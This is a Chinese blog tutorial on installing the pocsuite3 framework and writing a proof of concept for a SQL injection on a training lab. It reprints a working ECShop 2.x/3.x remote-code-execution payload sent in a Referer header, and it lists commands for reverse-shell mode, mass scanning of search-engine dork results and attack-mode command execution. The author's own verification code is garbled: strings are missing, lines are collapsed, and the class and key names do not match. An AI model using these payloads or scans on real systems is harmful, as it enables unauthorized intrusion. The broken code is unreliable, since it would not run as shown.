【Python安全攻防:渗透测试框架】MS08067: 杀死那个pocsuite!

【Python安全攻防基础篇:闭包和解释器】
【Python安全攻防基础篇:包、模块、类、对象】

项目地址:https://github.com/knownsec/pocsuite3

曲线救国:https://gitee.com/c0ny10/pocsuite3

我就用我的曲线救国版了,比GitHub快特么100倍!

安装

我用的源码安装

可以pip直接安装,但是装完之后输pocsuite没反应,和项目的readme不太一样我也不知道咋回事。然后pip安的目录又太深了,我嫌麻烦,所以只介绍源码安装,就这样。这段太啰嗦了,缩小了。

# 可以自己找一个心仪的安装目录
# 我选的是~/hack_script/
cd
cd hack_script
git clone https://gitee.com/c0ny10/pocsuite3.git

下载完之后,按理说~/hacker_script下会有个pocsuite3/pocsuite3的目录。进去:

cd
cd hacker_script/pocsuite3/pocsuite3

【Python安全攻防:渗透测试框架】MS08067: 杀死那个pocsuite!_第1张图片

然后执行python3 cli.py --version看看执行结果:

【Python安全攻防:渗透测试框架】MS08067: 杀死那个pocsuite!_第2张图片

但是这也太麻烦了喂,不能每次执行都进这个目录吧?不会吧不会吧?

反正我是没想到什么牛逼的办法,如果有人有想法,欢迎评论区告诉我。

我用的alias,自己根据自己的系统,搜索“如果持久化alias”应该就可以百度到结果,我这里演示苹果电脑的操作步骤:

# 先ls一下,看看当前目录下是不是有cli.py
c0ny100@MacBook-Air pocsuite3 % ls
__init__.py cli.py      data        modules     pocs        thirdparty
api         console.py  lib         plugins     shellcodes

# 然后pwd,输出当前文件路径
c0ny100@MacBook-Air pocsuite3 % pwd
/Users/c0ny100/hacker_script/pocsuite3/pocsuite3

然后把这句话打到屏幕上,注意路径替换成自己的
c0ny100@MacBook-Air pocsuite3 % echo alias pocsuite='python3 /Users/c0ny100/hacker_script/pocsuite3/pocsuite3/cli.py' >> .bash_profile

# 更新一下
c0ny100@MacBook-Air pocsuite3 % source .bash_profile

这个时候,你在终端的任何位置输入pocsuite都会有反应了,不需要进入那个目录下执行python3 cli.py了。

试一下?

【Python安全攻防:渗透测试框架】MS08067: 杀死那个pocsuite!_第3张图片

框架是啥

这安是安完了,但是,这安的是个啥啊?用来做啥的啊?咋用啊?我裂开了!

这些都将由我来告诉你!

你安的是框架,简单说框架就是把大部分代码给你写好了的…代码,正常来说,一个python脚本的完整功能至少应该包括输入、处理和输出,但是不管内部代码逻辑怎样,我输入和输出都是不变的啊,所以这就是框架的作用:

它包含一些基本功能,比如输出结果报告等,你只需要完成主要的代码就能实现完整的功能。

但是,为了很好的对接,或者说,为了框架能够运行我们自己写的代码,我们在写代码的时候就必须遵循框架的格式。

每个框架都是不一样的,但都是大同小异,今天开头安装的pocsuite3就是由知道创宇开发的一款开源渗透测试框架,这个框架有两个功能经常用到:

  1. verify:验证模式,验证目标是否存在漏洞
  2. attack:攻击模式,向目标发起有效攻击

嗅觉灵敏的老哥可能发现了,这不就是POC/EXP嘛,没错!

POC:用来验证漏洞是否存在的一段代码

EXP:利用漏洞进行渗透

到现在,所有基本概念大家都知晓了,终于可以开始了,想必大家已经摩拳擦掌,跃跃欲试了,别着急,我先甩一段pocsuite的verify模式的命令你看看你能看懂嘛?

pocsuite -r test.py -u http://www.c0ny10.com --verify

不管你懂不懂,我都解释一下好吧。

  1. pocsuite:这个因为上边的设置,等价于进入pocsuite目录下执行python3 cli.py
  2. -r:指定脚本路径,这个脚本是我们自己写的,实现具体功能的
  3. -u:指定目标地址
  4. –verify:使用该参数,会自动调用_verify()方法,该方法就是我们在test.py里边自己写的方法

看到这里如果你知道我说的是什么,我就能说你是真牛逼!

  1. 因为这里对新手来说真的很难理解,我一开始以为需要修改pocsuite这个框架的某一个python文件的源码来实现相关功能,后来发现不是的,我们可以在任何一个地方新建一个python文件,在里边写一个_verify()方法就好了,只要执行命令的时候指定文件路径,并且使用–verify参数,就会自动执行这个方法
  2. 因为POC的编写格式有要求,而且代码很长,我看的书是每部分分开说明的,虽然每部分写的都很清晰,但还是看得我云里雾里。后来我去GitHub上找了一份POC源码,对比着看才看明白

所以我决定改变一下思路,先给大家一个总体的概念,然后再细说,这样就知道我在说什么了。不过在此之前,得先把主要的逻辑代码写好。

主要逻辑代码

它的原理就是验证漏洞是否存在,比如你做测试的时候,发现一个站用的宝塔cms,有一个洞,这个时候你就写一个POC,用来验证这个洞,这就POC的意义所在。

等以后遇到同样的cms,你就可以用你写好的POC直接做验证,或者去找同类站点,批量验证。

所以,POC说白了就是根据响应判断是否存在漏洞的这样一段代码,仅此而已。那,废话不多说,找个简单的地方试验一哈。

我本来想去最基础的,Sqli-labs lesson1试试来着,后来找了半天也没发现有谁搭了在线靶场,我自己又懒得搭,所以就只能找其他,skr!

找了一个可以白嫖的靶场,掌控安全的,用来给学员上课用的,我今天就拿来用一下。

项目地址:https://hack.zkaq.cn/battle

咱们就用第一章:为了女神小芳简单的来说明一下,但是一定的要注意,真正的POC如果这么垃圾,人人都可以写,那就没有那么多脚本小子了,你可以去GitHub上,或者SeeBug上看,那些POC我根本看不懂,一是我Python也是刚刚开始学,二是那些漏洞的逻辑我摸不清。

所以,想通过这一篇文章就能成为大佬还是算了,但我绝对能保证,你跟着写一下,以后用到其他师傅写的POC,你绝对不会犯怵!

【Python安全攻防:渗透测试框架】MS08067: 杀死那个pocsuite!_第4张图片

进去之后,发现后边一个id,再结合这个只是入门靶场的这个事实,我敢肯定这里存在注入漏洞:

【Python安全攻防:渗透测试框架】MS08067: 杀死那个pocsuite!_第5张图片

果不其然,最基本的单引号闭合方式:

【Python安全攻防:渗透测试框架】MS08067: 杀死那个pocsuite!_第6张图片

重点来了,这个有无回显是不是就可以判断漏洞是否存在!?没错这个就是POC的主要逻辑了。

这个时候,我们可以调出当前页面的源码看一看,哪里有区别:

【Python安全攻防:渗透测试框架】MS08067: 杀死那个pocsuite!_第7张图片

【Python安全攻防:渗透测试框架】MS08067: 杀死那个pocsuite!_第8张图片

本来应该有的猫舍介绍这个块,在加了单引号之后不翼而飞,此事必有蹊跷!

因此_verify()方法的代码就应该这样写:(为了日后发到公众号方便阅读,我采用截图的方式)

【Python安全攻防:渗透测试框架】MS08067: 杀死那个pocsuite!_第9张图片

上边这个就是POC的主要逻辑代码了,接下来就是把这串代码放到框架中去,那就不得不说一下框架的要求


为什么框架有这么多要求呢?

因为框架嘛,目的就是为了让你只写主要代码即可,不用管输入输出。

这句话的言外之意就是,你想不管输入输出吗?可以,我都帮你写好了,但是你想用,就得按照我的格式来!

这,能理解吗?你想用这个框架,就必须按照人家的规则来,轻则程序无法正确输入输出,重则你发布了POC其他人看不懂。

大家知道,发布POC是有现金奖励的,你不按规矩来就没有钱领了。

这部分就是为下边做个铺垫,不然有的人可以会疑惑,为什么写个代码那么麻烦?废话不多说,开始!


POC脚本编写

分三步:把冰箱门打开,把大象放进去,把冰箱门关上

首先大家一定要明确,这篇文章不是教大家写POC的,想写得需要你对漏洞和python都比较熟悉,我现在写这个完全算不上一个POC,但也希望大家跟着我一起写。

因为我写之前是阅读了很多GitHub上别人写好的POC源码的,但是看得都不是特别懂。然后我打算找一个最基础的靶场,自己亲手写一个试试,然后我就不得不去阅读了官方的文档,虽然主要逻辑很简单,但通过写这么一个垃圾,我觉得我对这个框架已经基本熟悉了。

至少以后看见别人发的POC我可以看懂,还能会用。所以说,我建议大家跟着写一下。

看到这可能有的人想知道,开发者文档什么都在哪呢?别着急,我会把我看过的参考资料链接全放在底部。

先给大家一个整体的概念,我这个POC都包含哪几个部分:

【Python安全攻防:渗透测试框架】MS08067: 杀死那个pocsuite!_第10张图片

但是不一定每个POC都是这样的啊,我只把我正在写这个先给大家看看,免得一会懵逼。

下面来说每部分都怎么写:

指定解释器和编码格式,并导入需要的类或模块

#! /usr/bin/env python3
# _*_ conding:utf-8 _*_

import sys
sys.path.append('/Users/c0ny100/hacker_script/pocsuite3')
from pocsuite3.api import Output, POCBase, requests, register_poc

如果文件在pocsuite3/的子目录下的话,就不需要sys.path.appen()这句话。

创建一个类,并继承自POCBase类

class Demo(POCBase):
    ...

填写字段

	vulID = '97343'  # ssvid
    version = '3.0'
    author = ['seebug']
    vulDate = '2018-06-14'
    createDate = '2018-06-14'
    updateDate = '2018-06-14'
    references = ['https://github.com/c0ny100'] # 漏洞地址来源
    name = 'Ecshop 2.x/3.x Remote Code Execution'# POC名称
    appPowerLink = ''   # 漏洞厂商的主页地址
    appName = 'ECSHOP'  # 漏洞应用名称
    appVersion = '2.x,3.x'
    vulType = 'SQL Injection'   # 漏洞类型
    desc = '''
    大家喜欢的一定要通过点赞、关注、转发,让我知道哦~
    ''' # 漏洞简要描述
    samples = []    # 样例测试 使用POC测试成功的网站
    install_requires = ['']

这个字段基本上是写死的,会告诉我们一些信息,如果是以后用大佬的POC,可以忽略这部分。

编写写主要的方法

验证函数:

def _verify(self):
        result = {
     }
        path = '/?id=1'
        url = self.url + path
        # url = 'http://59.63.200.79:8003/?id=1'
        payload = '\''

        # 发送一个get请求
        # 使用的是requests库里的get方法
        try:
            resq = requests.get(url + payload) 
            # 用 '
' 做判断 # 使用的是requests库里的text方法 if resq and '
' not in resq.text: result['VerifuInfo'] = { } result['VerifyInfo']['URL'] = url result['VerifyInfo']['Name'] = payload except Exception as e: pass return self.parse_output(result)

攻击函数,没有就返回_verify()就行了:

def _attack(self):
        return self._verify()

打印函数,通过实例化Output这个类来打印,打印出来很好看:

def parse_output(self, result):
            output = Output(self)
            if result:
                output.success(result)
            else:
                output.fail('target is not vulnerable')
            return output

注册Demo类

register_poc(DemoPOC)

完整的POC

项目地址:https://gitee.com/c0ny10/some_poc_with_pocsuite3/tree/master/poc

我们执行一下试试效果,我比较命令行模式:

先进入脚本所在的目录,然后执行:

pocsuite -r single_quote_1_inject.py -u http://59.63.200.79:8003 --verify

【Python安全攻防:渗透测试框架】MS08067: 杀死那个pocsuite!_第11张图片

这就说明漏洞存在。

读POC源码

这就POC的整个编写思路,跟着写完再去看大佬的POC就能看个差不多了,用起来也能得心应手了。如果代码中有看不懂的怎么办?我给大家举个例子:

这里放一段verify函数:

def _verify(self):
        result = {
     }
        path = "user.php?act=login"
        url = urljoin(self.url, path)
        echashs = [
            '554fcae493e564ee0dc75bdf2ebf94ca',  # ECShop 2.x hash
            '45ea207d7a2b68c49582d2d22adf953a'  # ECShop 3.x hash
        ]

        for echash in echashs:
            payload = ('{0}ads|a:2:{
     {s:3:"num";s:116:"*/ select 1,0x2720756E696F6E202F2A,3,4,5,'
                       '6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10'
                       '-- -";s:2:"id";s:10:"\' union /*";}}{0}').format(echash)
            headers = {
     "Referer": payload}
            try:
                resp = requests.get(url, headers=headers)
                if resp and resp.status_code == 200 and "phpinfo()" in resp.text:
                    result['VerifyInfo'] = {
     }
                    result['VerifyInfo']['URL'] = url
                    result['VerifyInfo']['Referer'] = payload
                    break
            except Exception as ex:
                pass

咱们一点点看,假如我现在python语法很烂,什么都不会,我应该怎么百度?

  1. 首先,最起码前边那几行声明变量应该能看懂吧,就不说了;
  2. 然后进入循环,这明显是把echashs遍历一遍,然后看到payload那一行,format方法不知道什么意思,去百度!
  3. 然后到了requests.get()又看不懂,不要紧,百度!
  4. 然后到了result[‘VerifyInfo’]这里就不明白,之前声明了一个result = {},在这里又新建一个字典,然后存了两个数据,key是URL和Referer,为什么这样写呢?明明直接存到result里就可以啊。

这种问题百度是肯定百度不到了,就去查官方手册!

查看官方文档就看到了,这是存数据的格式:

PoC 结果返回规范

result 为PoC返回的结果数据类型, result返回值要求返回完整的一项, 暂不符合result字段的情况, 放入extra字段中, 此步骤必须尽可能的保证运行者能够根据信息 复现/理解 漏洞, 若果步骤复杂, 在取证信息中说明. 例如:

  #返回数据库管理员密码
  result['DBInfo']['Password']='xxxxx'
  #返回 Webshell 地址
  result['ShellInfo']['URL'] = 'xxxxx'
  #返回网站管理员用户名
  result['AdminInfo']['Username']='xxxxx'

大概就是这样的过程。

如果使用的话,如果POC严格按照要求书写,我们只需要使用-r指定POC文件,-u指定目标地址,就可以使用了。

这就方便之处,有一个统一的标准,读起来也方便,用起来也方便。

简单说一下这个url = urljoin(self.url, path),和result[‘VerifyInfo’] = {},我觉得应该就是在父类POCBase里弄好的,但我就是找不到这个类在哪…

POC常用命令

pocsuite -u http://example.com -r example.py -v 2 # 基础用法 v2开启详细信息
pocsuite -u http://example.com -r example.py -v 2 --shell # shell反连模式,基础用法 v2开启详细信息
pocsuite -r redis.py --dork service:redis --threads 20 # 从zoomeye搜索redis目标批量检测,线程设置为20
pocsuite -u http://example.com --plugins poc_from_pocs,html_report # 加载poc目录下所有poc,并将结果保存为html
pocsuite -f batch.txt --plugins poc_from_pocs,html_report # 从文件中加载目标,并使用poc目录下poc批量扫描
pocsuite -u 10.0.0.0/24 -r example.py --plugins target_from_cidr # 加载CIDR目标
pocsuite -u http://example.com -r ecshop_rce.py --attack --command "whoami" # ecshop poc中实现了自定义命令`command`,可以从外部参数传递。

EXP

别逗了,POC都不会写还想写EXP,笑话!

就记住用法一样的,把--verify这个参数换成--attack就完了。

参考链接:

[1] 项目官网

[2] 开发文档

[3] Seebug

[4] 如何自己动手编写漏洞POC

[5] PoC编写指南

[6] some_pocsuite

[7] pocsuite_poc_collect


公众号:白帽子续命指南

你可能感兴趣的:(Python,Web安全)